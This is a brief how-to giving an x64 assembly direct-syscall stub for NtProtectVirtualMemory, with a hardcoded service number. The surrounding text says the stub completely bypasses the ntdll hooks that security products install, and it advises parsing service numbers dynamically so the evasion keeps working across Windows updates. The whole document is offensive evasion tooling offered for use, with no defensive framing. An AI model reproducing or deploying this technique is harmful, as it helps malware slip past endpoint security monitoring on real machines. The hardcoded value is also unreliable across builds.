How to bypass userland DLL hooks by issuing direct syscall opcodes:

; x64 Assembly Syscall Stub (NtProtectVirtualMemory SSN = 0x50 on Win11 23H2)
.code
SysNtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, 50h ; System Service Number
    syscall
    ret
SysNtProtectVirtualMemory ENDP
END

Userland hooks placed by security modules on ntdll.dll are completely bypassed because execution never traverses ntdll!

Direct syscalls are the cornerstone of bypassing userland API surveillance.

Make sure you dynamically parse SSNs from ntdll export directory so Windows updates don't change numbers.